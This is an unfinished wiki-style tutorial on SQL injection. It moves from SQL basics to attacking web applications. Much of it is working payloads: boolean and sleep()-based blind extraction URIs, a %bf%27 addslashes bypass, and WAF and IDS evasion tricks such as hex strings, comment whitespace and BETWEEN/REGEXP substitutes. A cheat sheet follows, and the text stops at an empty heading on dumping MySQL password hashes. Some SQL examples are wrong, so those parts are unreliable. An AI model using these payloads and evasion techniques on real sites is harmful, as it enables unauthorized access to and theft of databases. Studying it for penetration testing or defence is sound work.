SQL injection

This page is in-progress. Be advised it is not final in any way.

Overview

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

• Authentication credentials
• Other identifying information about a user (like an IP address)
• Site configurations
• Site content and themes
• Communications between users within the site

Cause(s) of vulnerabilities

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

• Un-sanitized user input - The developer made no effort to stop an injection attack
• Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
• Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
  Notice: Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Potential Target Environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application.

Protip: It is important to note the HTTP server's version information along with the programming language in use by any application during testing. This in conjunction with Operating System information will assist during privilege escalation.

SQL Orientation

SQL Databases are made up of tables. Tables are created by the developer or architect and are empty on creation. Similar to a spreadsheet, a table's properties are defined by its columns. Columns can be different data types (strings, integers, booleans, floats, binary, etc).

Basic Database Navigation

Notice: Not everything that works in the SQL console for the affected databasing engine will work with the language connector used by the vulnerable application.

Running these statements in the command line for their associated database engines will display the information listed below; however these statements do not typically work when associated with any language connector other than the C API.

MySQL

Show databases:

• Displays a list of databases that the current user has access to

SHOW DATABASES;

Show tables [in ...]:

• Displays a list of table names in the currently selected database (if no database was specified), or a list of tables in the specified database

SHOW TABLES IN information_schema;

Show fields in [table_name]:

• Displays a list of column names in the chosen table:

SHOW FIELDS IN information_schema.routines;

PostgreSQL

\l             - Lists all databases
\dn            - Lists all schemas in the current database
\dt            - Lists all tables in the current database
\d [table_name]- Lists columns in table in the current database

Basic Queries

Notice: Basic query statements include SELECT, UPDATE, INSERT, and DELETE.

SELECT - Select data from a table

SELECT statements can contain clauses such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns and filter results sets.

Protip: The SELECT statement can do more than just selecting an specific item, from a specific column or table - it can select multiple columns from multiple tables from multiple databases.

• The basic syntax of a SELECT statement:

SELECT [column_name(s)] FROM [database_name(s)].[TABLE_NAME(s)] WHERE [condition] GROUP BY [column_name] ORDER BY [column_name] [ASC|DESC] SELECT can be used with statements such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns.

For example, let's do a simple SELECT query on the following table (named "People" for our example).

 +----------------------+
 |ID| NAME     |STATE   |
 +----------------------+
 |1 | John Doe |New York|
 +--+----------+--------+
 |2 | Jane Doe |Florida |
 +--+----------+--------+

Let's perform a SELECT Query on our "People" Table, for the column "state".

SELECT state FROM people;

You should get an output similar to the following:

 +---------+
 |STATE    |
 +---------+
 |New York |
 +---------+
 |Florida  |
 +---------+

Lets demonstrate the use of a simple WHERE clause.

SELECT name FROM people WHERE id > 3;

Protip: The WHERE clause is like an if statement.

The above command would logically would be "select the name, from the rows in people where id is greater than three."; Which in this case would return nothing, because we only have IDs 1 and 2.

Let's say we added some new data to our table. it now looks like this:

+----------------------+
|ID| NAME      |STATE   |
+--------------+-------+
|1 | John Doe  |New York|
+--+-----------+--------+
|2 | Jane Doe  |Florida |
+--+-----------+--------+
|3 | Billy Bob |New York|
+--+-----------+--------+

The GROUP BY clause, groups results by column, and returns rows with unique values in the secified column.

SELECT name FROM people WHERE id > 0 GROUP BY state;

would output

+-----------+
| NAME      |
+-----------+
| John Doe  |
+-----------+
| Jane Doe  |
+-----------+

The order by clause will order the rows, by a value in a column.

If we have this table:

+------------------------+
|AGE| NAME     | STATE   |
+--------------+---------+
|22 | John Doe | New York|
+--+-----------+---------+
|31 | Billy Bob |New York|
+--+-----------+---------+
|26 | Jane Doe | Florida |
+--+-----------+---------+

and we ran the command

SELECT * FROM people ORDER BY AGE;

the output would show

+------------------------+
|AGE| NAME     | STATE   |
+--------------+---------+
|22 | John Doe | New York|
+--+-----------+---------+
|26 | Jane Doe | Florida |
+--+-----------+---------+
|31 | Billy Bob |New York|
+--+-----------+---------+

The LIMIT clause, is very simple. it limits your results.

SELECT * FROM state WHERE age > 22 LIMIT 1;

Would return the following:

+------------------------+
|AGE| NAME     | STATE   |
+--+-----------+---------+
|26 | Jane Doe | Florida |
+--+-----------+---------+

UPDATE - Modify rows in a table

The UPDATE command is used to update specific rows in a table with a new value. It has the ability to alter a large amount of data with a single query, and as such can be a very dangerous command when access to it is granted to the wrong people.

For example:

UPDATE customers SET age=20 WHERE name='Richard'

This will set the value of the 'name' row in the 'age' column to 20 wherever 'name' is 'Richard'.

Executing this query in an interactive environment will return the number of rows that were altered. If the WHERE clause is omitted, every row in the named table will be edited in accordance with this query.

Updating multiple columns

It is possible to alter the contents of multiple columns in a table with a single UPDATE query in the following manner:

UPDATE customer SET name='Richard' AND age='20' AND paid='yes' WHERE id='4'

INSERT - Add rows to a table

The basic format of the INSERT statement is:

INSERT INTO TABLE (COLUMN, COLUMN, COLUMN) VALUES (VALUE, VALUE, VALUE)

The number of columns and values must be the same.

It is similar to the UPDATE statement in that it allows you to alter the contents of entries in a table. However, the INSERT statement allows you to add a new row to the table specified, inserting data into whichever columns you choose (with a minimum of one) when you initialise it. Any columns not specified are simply left blank.

For example:

INSERT INTO customers (name, age, paid) VALUES ('Richard', '23', 'yes')

DELETE - Delete rows from a table

The format of the DELETE statement is:

DELETE FROM TABLE WHERE COLUMN=VALUE

This will delete a row from a table where the column is equal to the value specified. It is relatively simple to use, for example:

DELETE FROM customers WHERE age='20'

Navigating Unfamiliar Databases without the C API

Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables.

MySQL

• Show Databases equivalent:

SELECT schema_name FROM information_schema.schemata;

• Show tables equivalent:

SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=[database_name]

• Show fields equivalent:

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[database_name]

Protip: If you know you've only got access to the currently selected database, you can save some time by using the database() function or @@database environment variables, e.g. where table_schema = database() or where table_schema = @@database.

PostgreSQL

Notice: PostgreSQL has the current_database() function in stead of the database() function.

• \dn Equivalent (Shows all of the schema names)

SELECT schema_name FROM information_schema.schemata WHERE catalog_name=[DATABASE name]

• \dt Equivalent (Shows all of the tables in the schema)

SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=[DATABASE name]

• \d [column_name] Equivalent:

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=([schema_query]) AND catalog_name=[database_name]

MS SQL

• Listing Tables:

SELECT TABLE_NAME FROM information_schema.columns WHERE table_catalog=[database_name] GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC;

• Listing Columns:

SELECT column_name FROM information_schema.columns WHERE table_catalog=[database_name] AND TABLE_NAME=[table_query] GROUP BY column_name ORDER BY column_name ASC

Legacy Databases

History says
"The information_schema database entered the open source community in MySQL version 5 and at the end of PostgreSQL Version 7.3; old and current versions of SQL engines contain their schema information in their administration databases.

mssql

• sysobjects (Legacy Access/Jet Engine)

• msysobjects (Legacy SQL Server CE)

mysql

• mysql.columns_priv

Databasing engines compared and contrasted in light of SQL Injection

Notice: For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function or variable per sql version.

• Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
• Not all similarities or differences are documented here, only those relevant to SQL injection.

Protip: There are enough similarities that it is possible to have a degree of universal exploitation.

Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.

Information_Schema

All of the databasing engines that presently have an information_schema collection all have the following in common:

• The information_schema.tables table has a table_name column.
• The information_schema.columns table has both table_name and column_name columns.
• All of them have information_schema.routines and information_schema.schemata tables.

Functions & Environment Variables

MS SQL, MySQL, and PostgreSQL share the following:

• ascii()
• substring()
• count()
• lower()
• upper()

MySQL and Postgres share the following:

• current_database()
• version()
• current_user

MySQL and MSSQL share the following:

• database()
• @@version

Other syntax

Protip: All of the databases share the same comparison operators, basic SELECT, WHERE, GROUP, and ORDER syntax.

PostgreSQL and MySQL now share the same LIMIT syntax: LIMIT [COUNT] offset [ROW TO START at]

Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack. SELECT top 1 $column FROM (SELECT top $OFFSET $column FROM $table [WHERE clause] [GROUP BY clause] ORDER BY $column DESC) sq [GROUP BY clause] ORDER BY $column ASC

Capabilities

Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer.

• MSSQL xp_cmdshell
• MySQL has the ability to select into outfile and select load_file.
• PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby).

Modern day SQL Injection Obstacles and Countermeasures

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.

Protip: A researcher or penetration tester may find overcoming these obstacles difficult, but usually not impossible given enough dedication.

Configuration & Environment Challenges

Experience says
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy.

* Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources. Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (e.g. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver.

Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer.

Protip: Most intrusion detection mechanisms built for web applications operate using signature-based detection. Therefore, as long as an attack does not match a signature, it will slip by most of them.

Common Web Application Firewall HTTPD Modules

• Mod_Security (Apache)
• Naxsi (Nginx)
• ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper Sanitizing

Notice: Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.

Partial sanitizing

Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely.

* The space character (or all whitespace)

• The single quote character: '
• The double quote character: "
• The tag characters: < and >
• The equals character: =
• The comma character: ,
• The parenthesis characters: ( and )

Deprecated Sanitizing

History says

PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes().

Simple Remote Tests for SQL Injection Vulnerabilities

Make sure to have written authorization from the site owner first!

Vulnerability Characteristics

Protip: There are a number of factors to take into consideration when analyzing a SQL injection vulnerability. These factors will determine methodology for successful exploitation.

Vulnerability types

SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.

• Standard vulnerabilities:

The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.

• Error-based vulnerabilities:

Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.

• Blind vulnerabilities:

Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.

Injection Points

An SQL injection vulnerability's type is determined by the location of the user input. $input is used as an example input variable in the queries below to illustrate their classifications. SELECT ... WHERE clause injection $query = "select * from table where id=$input"; SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections $query = "select * from table limit $input"; $query = "select * from table limit 1 offset $input"; $query = "select * from table order by $input"; $query = "select * from table group by $input"; UPDATE ... SET clause injection $query = "update table set var=$input"; UPDATE ... WHERE clause injection $query = "update table set var=value where column_name='$input'"; INSERT ... VALUES clause injection $query = "insert into table values(null,$input)";

Input Testing

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.

Your First Where Clause Injection

• There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection.

Protip: The most reliable of these tests consist of boolean challenges that filter the results a query returns.

Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test. In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like: /article_by_id.php?id=10 A researcher could check that URI against: /article_by_id.php?id=10%20AND%201=1 and /article_by_id.php?id=10%20AND%201=0 When a page is vulnerable, the page on /article_by_id.php?id=10%20AND%201=1 will match the page on: /article_by_id.php?id=10 however the page at: /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing. In our second example, using $title, the same affect can be achieved on an unsanitized string with the following URI's: /article_by_title.php?id=SQL%27%20AND%20%271%27=%270 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

Protip: The same methodology as the integer test applies, merely with added single quotes (%27).

Most of today's security systems will easily identify and block simple testing methods like the ones we just illustrated.

Reconstructing injected Queries

Notice: You will only be able to reconstruct queries locally if you install the SQL database engines. Links are provided at the end of the page for those who'd like to follow along.

Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:

• Original Query:

$query = "select * from articles where id=$id";

• Generated Queries:

$query = "select * from articles where id=10 and 1=1"; $query = "select * from articles where id=10 and 1=0";

Or, alternatively, we can look at our $title example:

• Original query:

$query = "select * from articles where title='$title'";

• Generated queries:

$query = "select * from articles where title='SQL' and '1'='0'"; $query = "select * from articles where title='SQL' and '1'='1'";

Notice: The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Bypassing Modern SQL Injection Security Measures

To exploit or even test anything in the modern world, we'll need to recognize it when countermeasures are in place and be able to defeat them.

Signs that a WAF is in the way Having the connection to the server reset ONLY when testing the site for vulnerabilities 403 Forbidden responses ONLY when testing the site for vulnerabilities Being blocked by the remote firewall after a repeatable number of injection attempts Notice: Simply triggering an IPS or WAF and having your request blocked under only certain conditions does not confirm the vulnerability of the page.

Network layer evasion

• -> SSL:
• -> Session Splicing:

Basic Signature Evasion

Signature evasion is very similar to evading partial sanitizing. In stead of modifying your characters, an IPS drops traffic if your characters appear in a particular sequence in order to match a pattern. By discovering that sequence, we can make adjustments to our queries to evade the IPS or WAF in the way of our testing. Many web application firewalls will recognize the "1=1" simply due to its popularity. Other queries that are very similar to that may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.

Whitespace placement

Take note of the whitespace around the = operator. If there is none, try adding a space. If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.

 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE)
 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)

Integer and string size delimiters

Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected. Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.

 %20and%402837649781237849=402837649781237849 (TRUE)
 %20and%201789236419872364=128756128398671289 (FALSE)

Switching up the data types

If integers are giving you a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.

 %20and%205.8=5.8      (TRUE)
 %20and%200.2=0.3      (FALSE)

Arithmetic tests

In stead of comparing a value like "1=1", try comparing mathematical expressions. Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.

 %20and%201.2+3=4.2    (TRUE)
 %20and%200.2-1=0      (FALSE)

Capitalization

If you're still having problems during testing, this probably isn't your issue. Try changing the case of the letters making up your boolean operator (and to AnD and or to oR).

Extending conditional statements

Protip: Many IDS signatures will look for a boolean operator ("and" or "or") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).

• Using IF for MySQL injection:

The syntax for the IF statement in MySQL is:

IF([condition],[VALUE TO RETURN IF TRUE],[ELSE RETURN VALUE])

 %20and%20if(10829361=10829361,1,0)  (TRUE)
 %20and%20if(98276232=72619126,1,0)  (FALSE)

You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.

Defeating partial sanitizing

You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. In stead, focus on evading the sanitizing by crafting queries that do not require sanitized characters.

Quotes

Protip: MySQL allows for string literals to be passed in hexadecimal format. This is unique to MySQL:

 select 'abc';
 ...is equivalent to...
 select 0x616263;

Therefore, 0x616263 can be used in place of 'abc'. This will come in handy while exploiting a WHERE clause and not being able to use quotes.

String concatenation can avoid the use of quotes the use of quotes in: MySQL: Using the char() function to construct the string 'abc': select char(97,98,99); ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'. PostgreSQL: Using the chr() function and double-pipe concatenation operator: select chr(97)||chr(98)||chr(99); ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'. Microsoft SQL Server: Using the char() function and plus operator: select char(97)+char(98)+char(99); ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'.

Whitespace Filtering

We can bypass filtering on the space character by using alternative whitespace characters to the space character (%20). Most SQL engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment) or tab characters as valid whitespace: and%0a1=1 and%0a1=0 Protip: MySQL treats block comments as whitespace. AND/*comment1*/1/*comment2*/=/*comment3*/1 AND/*comment1*/1/*comment2*/=/*comment3*/0

SQL Injection: Bypassing XSS Filters

If you've run into XSS filtering, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, we need to use alternative comparison operators: [VALUE] BETWEEN ... AND ... [VALUE] LIKE [VALUE] [VALUE] REGEXP [PATTERN] - MySQL [VALUE] RLIKE [PATTERN] - MS SQL [VALUE] ~ [PATTERN] - PostgreSQL

Testing with BETWEEN

Notice: The between operator is universal across all SQL platforms.

• The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range. For example, 50 is between 0 and 100, but 300 is not, which lets us safely avoid using the = operator in our query:

 and%2050%20between%200%20and%20100   (True)
 and%20300%20between%200%20and%20100  (False)

• This turns the query into something like:

 select * from articles where id=1 and 50 between 0 and 100
 select * from articles where id=1 and 300 between 0 and 100

Protip: The between operator can also be used on strings:

 and%20'c'%20between%20'a'%20and%20'm (True)
 and%20'z'%20between%20'a'%20and%20'm (False)

Exploiting SQL Injection Vulnerabilities

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Automation Theory

Notice: The most important thing when automating SQL injection is recognizing boundaries.

Loop Delimeters:

• Length of single cell strings (length sql functions)
• Number of rows returned by a query (count sql functions)

Obtaining data types:

• Data types of single cells (type from information_schema.columns)

Ensuring that your data will not fluxuate:

• Order by/group by

Error-based injection issues:

Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this.

• method a

Use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table.

• method b

attempt to string concatenate a character to the integer to throw an error.

Common sense says
Variables you will need to track for successful automation of exploitation are listed below. There are other optional variables to track, and this can always be expanded.

Counters:

• Row Counter
• Byte Index Counter

Temporary Variables:

• Length of current target cell
• Number of rows in current target table

SQL Dialect Variables:

• Sanitized Syntax Characters
• Whitespace character(s)
• String concatenation operator
• Comment syntax

Intermediate Testing: "SELECT" ... LIMIT, ORDER BY, and GROUP BY clause injections

Protip: Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a LIMIT clause.

The professor says
To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause you are injecting into. We'll use the following example URI: /view_results.php?start=30&perpage=10

A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax: LIMIT $perpage OFFSET $start

On older versions of MySQL, the offset operator was not supported. In those cases we'll be using the older syntax: LIMIT $perpage,$start

Advanced Injection: Boolean Enumeration

There are primarily two methods to using boolean enumeration. One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression. Because we know that the maximum value of a single byte is 255, we can use this as a ceiling and 0 as a floor for our range while using ascii() codes for enumeration.

Fortunately for us, universal operators and universal functions include:

 BETWEEN ... AND ...    |   Operator
 = < >                  |   Operators
 substring()            |   Function
 ascii()                |   Function

This assists us with crafting uniform queries that affect ALL sql dialects.

Protip: Basic enumeration using standard operators is possible, although usually filtered by one of today's many obstacles to injection attacks, so we'll be using the BETWEEN operator for demonstration purposes in stead.

So, in order to ensure that we maintain data integrity:

• Always use a limit on select statements
• Always use ORDER BY

Using Ascii codes

The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:

 mysql> select ascii('a');
 +------------+
 | ascii('a') |
 +------------+
 |         97 |
 +------------+
 1 row in set (0.00 sec)

Using substring() to select a single byte:

• The substring() syntax is:

 substring([STRING],[POSITION],[LEN])

For example:

 mysql> select substring('abc',1,1);
 +----------------------+
 | substring('abc',1,1) |
 +----------------------+
 | a                    |
 +----------------------+
 1 row in set (0.00 sec)

 mysql> select substring('abc',2,1);
 +----------------------+
 | substring('abc',2,1) |
 +----------------------+
 | b                    |
 +----------------------+
 1 row in set (0.01 sec)

Optimization:

• You can use the upper() and lower() functions to convert results to all uppercase or all lowercase. This will remove a set of ascii characters from possible values during testing.

Version fingerprinting with ascii-based boolean enumeration:

Protip: If the version() function fails, try the @@version environment variable instead.

• The ascii code of the first character of the version string can be accessed by calling:

 ascii(substring(lower(version()),1,1))

 postgres=# select ascii(substring(lower(version()),1,1));
  ascii 
 -------
    112
 (1 row)

On PostgreSQL, the first character of version() is 'P'. Since we're converting it to lowercase, the ascii value of 'p' is 112.

 mysql> select ascii(substring(lower(version()),1,1));
 +----------------------------------------+
 | ascii(substring(lower(version()),1,1)) | 
 +----------------------------------------+
 |                                     53 |
 +----------------------------------------+
 1 row in set (0.00 sec)

Notice: These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration. The same syntax, except using the @@version environment variable applies.

Using the between ... and ... comparison statements, we can isolate the value:

 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127
 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255

You can adjust the range delimiters on the between statement while it returns true until both parameters are equal. When both parameters are equal and the query returns true, you've found the value of the byte:

 mysql> select * from sample where id=1 and ascii(substring(lower(version()),1,1)) between 53 and 53;
 +----+---------------------+
 | id | sample_text         |
 +----+---------------------+
 |  1 | this is sample text |
 +----+---------------------+
 1 row in set (0.01 sec)

Once we've identified the first byte, we can move from the first to the second by changing:

 ascii(substring(lower(version()),1,1))
 to
 ascii(substring(lower(version()),2,1))

Using Regex

• MySQL's REGEXP operator is case insensitive.
• PostgreSQL's ~ operator is case sensitive.

PostgreSQL Enumeration

Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL",

   and lower(version()) ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))

Advanced Injection: Timing attacks

Boolean Enumeration

MySQL:

sleep()

For testing purposes we've installed mysql 5.1 locally and created a table called sample:

 mysql> select version();
 +-----------------+
 | version()       |
 +-----------------+
 | 5.1.58-1ubuntu1 |
 +-----------------+
 1 row in set (0.00 sec)

We've inserted a row of sample data to mimick where clause injection:

 mysql> select * from sample where id=1;
 +----+---------------------+
 | id | sample_text         |
 +----+---------------------+
 |  1 | this is sample text |
 +----+---------------------+
 1 row in set (0.00 sec)

Testing for the ability to sleep():

 %20and%20sleep(15)
 mysql> select * from sample where id=1 and sleep(15);
 Empty set (15.00 sec)

Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. We can use this in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because we want to evade modern IDS systems, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators (<, =, >)

If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. 1 for matching and 0 for no match found. By casting its return to a signed integer and using a multiplication test, we can control its output for combination with the sleep command:

 mysql> select * from sample where id=1 and sleep(cast((select 'a' regexp '^[n-z]') as signed) * 15);
 Empty set (0.00 sec)

 mysql> select * from sample where id=1 and sleep(cast((select 'x' regexp '^[n-z]') as signed) * 15);
 Empty set (15.00 sec)

Now we have false sleeping for zero seconds and true sleeping for 15 seconds.

Using it to map a table name:

 mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
 +------------+
 | table_name |
 +------------+
 | sample     |
 +------------+
 1 row in set (0.00 sec)

The first letter of "sample" is s, it isn't between a and m, therefore it shouldn't sleep at all if we test to see if it is:

 mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[a-m]') as signed) * 15));
 Empty set (0.00 sec)

However, when we test to see if it's between n-z, because s is between n and z the return output from REGEXP is multiplied and becomes 15, which is passed to the sleep() function:

 mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[n-z]') as signed) * 15));
 Empty set (15.00 sec)

Protip: Regexp in mysql doesn't need quotes, it is interchangeable with 0xhex!

So, an injection URI that utilizes sleep(), cast(), and multiplication can be used remotely in cases of unpredictable output and without the need for quotes, commas, comment notation, or standard comparison operators (<, =, >) to test if the first character of the first table in the database is between a and m would look like:

/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));

However the n-z would look like:

/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15));

PostgreSQL Timing Attacks

• pg_sleep()

Similar to mysql, the database will sleep when you select pg_sleep([int]).

• Using case to control pg_sleep with BETWEEN...AND:

  and (case when 1 between 1 and 1 then pg_sleep(15) else 9 end) is null

If the input is vulnerable, the database will sleep for 15 seconds.

True statements will sleep, false statements will not sleep.

You can use ascii() between similar to standard PostgreSQL Boolean Enumeration here,

• True Injection:

 and (case when ascii(substring(version(),1,1)) between 1 and 255 then pg_sleep(5) else 98923 end) is null

• False Injection:

 and (case when ascii(substring(version(),1,1)) between 1 and 1 then pg_sleep(5) else 23265 end) is null;

Microsoft SQL Server

• waitfor delay

Attacks best reserved for LAN Testing

These are not boolean based attacks for extracting data, but timing based extractions in stead.

Mysql:

• sleep() isn't boolean enumeration

PostgreSQL:

• pg_sleep() isn't boolean

Further Penetration

Obtaining filesystem access

• load_file()
• select ... into outfile
• load data [local] infile

Obtaining Code Execution

• Via web app
• Via into outfile
• Via database engine

Cheat Sheets

Vulnerability Testing

True/False Statements:

• Standard operators (Universal):

True: and 230984752 = 230984752

False: and 1023947182234 = 4382616621386497

• The Between ... And ... operators (Universal):

True: and 238829 between 238826 and 238927

False: and 328961 between 928172 and 986731

• The LIKE operator (Universal):

True: and 'sqltest' like 'sql%'

False: and 'sqltest' like 'not true'

• The REGEXP operator (RLIKE in Microsoft SQL, Universal):

True: and 'sqltest' regexp '^sql'

False: and 'sqltest' regexp '^false'

MySQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions, statements, and Environment Variables:

 version()
 user()
 current_database()
 count([column_name]) from [table_name]
 length([column_name]) from [table_name] [where or limit]
 substr([query],[byte_counter],1) 
 concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
 group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

• You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

Mysql Versions >= 5 User Schema Mapping (Unprivileged)

• Show Databases Equivilent:

 select schema_name from information_schema.schemata limit 1 offset 0

• Show Tables Equivilent

 select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

• Show Fields Equivilent

 select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

Privileged Mysql (Any version) User

• Get mysql usernames and password hashes:

